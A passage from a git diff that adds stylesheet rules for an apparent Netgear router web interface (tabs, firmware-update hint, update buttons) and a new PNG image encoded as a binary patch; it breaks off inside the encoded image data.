color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/tab-nonactive.gif) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/tab-active.gif) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file diff --git a/sites/netgear/img/AP_Mode_R7000.png b/sites/netgear/img/AP_Mode_R7000.png new file mode 100644 index 0000000000000000000000000000000000000000..c56f70781e0cfa4c736f30d83b2d9a4af79f0f27 GIT binary patch literal 154589 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 